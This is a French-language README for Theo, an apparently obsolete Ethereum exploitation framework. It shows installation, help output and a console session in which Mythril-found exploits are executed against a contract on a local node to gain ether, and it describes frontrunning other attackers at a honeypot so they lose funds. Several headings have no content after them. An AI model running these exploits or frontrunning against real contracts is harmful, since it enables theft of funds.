
Outil de reconnaissance et d'exploitation Ethereum.
Obsolète, plus maintenu, ne l'installez pas, ne l'utilisez pas, vous êtes prévenu !
Theo se veut un framework d'exploitation et un outil de reconnaissance et d'interaction blockchain.
Fonctionnalités :
Il connaît Karl du travail.
Le but de Theo est de lutter contre les script kiddies qui essaient d'être des hackers leet. Il peut les écouter essayer d'exploiter ses honeypots et leur faire perdre leurs fonds, pour son propre profit.
« Tu ne m'as pas emmené pour ma personnalité charmante. »
Theo est disponible en tant que package PyPI :
$ pip install theo
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
[--account-pk ACCOUNT_PK] [--contract ADDRESS]
[--skip-mythril SKIP_MYTHRIL] [--load-file LOAD_FILE] [--version]
Monitor contracts for balance changes or tx pool.
optional arguments:
-h, --help show this help message and exit
--rpc-http RPC_HTTP Connect to this HTTP RPC (default:
http://127.0.0.1:8545)
--account-pk ACCOUNT_PK
The account's private key (default: None)
--contract ADDRESS Contract to monitor (default: None)
--skip-mythril SKIP_MYTHRIL
Don't try to find exploits with Mythril (default:
False)
--load-file LOAD_FILE
Load exploit from file (default: )
--version show program's version number and exit
RPC connections:
--rpc-ws RPC_WS Connect to this WebSockets RPC (default: None)
--rpc-ipc RPC_IPC Connect to this IPC RPC (default: None)
Installation à partir des sources
$ git clone https://github.com/cleanunicorn/theo
$ cd theo
$ virtualenv ./venv
$ . ./venv/bin/activate
$ pip install -r requirements.txt
$ pip install -e .
$ theo --help
Prérequis :
Analysez un contrat intelligent, trouvez des exploits, exploitez-le :
Configurez un honeypot, déployez-le, attendez l'attaquant, frontrun :
C'est une bonne idée de consulter d'abord l'écran d'aide.
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
[--account-pk ACCOUNT_PK] [--contract ADDRESS] [--skip-mythril]
[--load-file LOAD_FILE] [--version]
Monitor contracts for balance changes or tx pool.
optional arguments:
-h, --help show this help message and exit
--rpc-http RPC_HTTP Connect to this HTTP RPC (default:
http://127.0.0.1:8545)
--account-pk ACCOUNT_PK
The account's private key (default: None)
--contract ADDRESS Contract to interact with (default: None)
--skip-mythril Skip scanning the contract with Mythril (default:
False)
--load-file LOAD_FILE
Load exploit from file (default: )
--version show program's version number and exit
RPC connections:
--rpc-ws RPC_WS Connect to this WebSockets RPC (default: None)
--rpc-ipc RPC_IPC Connect to this IPC RPC (default: None)
Une liste d'exploits est automatiquement identifiée en utilisant mythril.
Démarrez une session en exécutant :
$ theo --contract=<scanned contract> --account-pk=<your private key>
Scanning for exploits in contract: 0xa586074fa4fe3e546a132a16238abe37951d41fe
Connecting to HTTP: http://127.0.0.1:8545.
Found exploits(s):
[Exploit: (txs=[Transaction {Data: 0xcf7a8965, Value: 1000000000000000000}])]
A few objects are available in the console:
- `exploits` is an array of loaded exploits found by Mythril or read from a file
- `w3` an initialized instance of web3py for the provided HTTP RPC endpoint
Check the readme for more info:
https://github.com/cleanunicorn/theo
>>>
Il analysera le contrat et trouvera une liste d'exploits disponibles.
Vous pouvez voir les exploits disponibles trouvés. Dans ce cas, un exploit a été trouvé. Chaque exploit est un objet Exploit.
>>> exploits[0]
Exploit: (txs=[Transaction: {'input': '0xcf7a8965', 'value': '0xde0b6b3a7640000'}])
Les étapes de l'exploit peuvent être exécutées en appelant .execute() sur l'objet exploit. Les transactions seront signées et envoyées au nœud auquel vous êtes connecté.
>>> exploits[0].execute()
2019-07-22 11:26:12,196 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': 1, 'gas': 30521, 'value': 1000000000000000000, 'data': '0xcf7a8965', 'nonce': 47}
2019-07-22 11:26:12,200 - Waiting for 0x41b489c78f654cab0b0451fc573010ddb20ee6437cdbf5098b6b03ee1936c33c to be mined...
2019-07-22 11:26:16,337 - Mined
2019-07-22 11:26:16,341 - Initial balance: 1155999450759997797167 (1156.00 ether)
2019-07-22 11:26:16,342 - Final balance: 1156999450759997768901 (1157.00 ether)
Vous pouvez démarrer le moniteur de frontrunning pour écouter les autres hackers qui tentent d'exploiter le honeypot.
Utilisez .frontrun() pour commencer à écouter l'exploit et, lorsqu'il est trouvé, envoyez une transaction avec un prix du gaz plus élevé.